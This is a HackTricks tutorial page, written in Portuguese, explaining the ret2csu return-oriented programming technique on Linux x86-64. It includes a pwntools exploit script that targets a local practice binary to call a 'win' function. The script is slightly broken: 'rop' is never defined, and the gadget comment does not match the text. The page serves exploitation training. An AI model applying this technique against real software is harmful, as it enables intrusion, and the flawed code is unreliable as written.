hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

6.2 KiB

Ret2csu

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

ret2csu é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os gadgets que normalmente usa para manipular o comportamento do programa.

Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções embutidas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias escondidas que podem agir como nossos gadgets ausentes, especialmente uma chamada __libc_csu_init.

The Magic Gadgets in __libc_csu_init

Em __libc_csu_init, há duas sequências de instruções (nossos "gadgets mágicos") que se destacam:

  1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Esses são como slots onde podemos armazenar números ou endereços que queremos usar mais tarde.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.

  1. A segunda sequência usa os valores que configuramos para fazer algumas coisas:
  • Mover valores específicos para outros registradores, tornando-os prontos para usarmos como parâmetros em funções.
  • Executar uma chamada para um local determinado pela soma dos valores em r15 e rbx, e então multiplicando rbx por 8.
mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call qword [r15 + rbx*8];

Exemplo

Imagine que você quer fazer uma syscall ou chamar uma função como write(), mas precisa de valores específicos nos registradores rdx e rsi como parâmetros. Normalmente, você procuraria gadgets que configurassem esses registradores diretamente, mas não consegue encontrar nenhum.

Aqui é onde ret2csu entra em cena:

  1. Configurar os Registradores: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
  2. Usar o Segundo Gadget: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova seus valores escolhidos para rdx e rsi (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar r15 e rbx, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em [r15 + rbx*8].

Você tem um exemplo usando essa técnica e explicando aqui, e este é o exploit final que usou:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

{% hint style="warning" %} Note que o exploit anterior não é destinado a fazer um RCE, ele é apenas para chamar uma função chamada win (pegando o endereço de win da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor 0xdeadbeefcafed00d. {% endhint %}

Por Que Não Usar Apenas a libc Diretamente?

Geralmente, esses casos também são vulneráveis a ret2plt + ret2lib, mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função write() requer três parâmetros, e encontrar gadgets para definir todos esses diretamente pode não ser possível.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}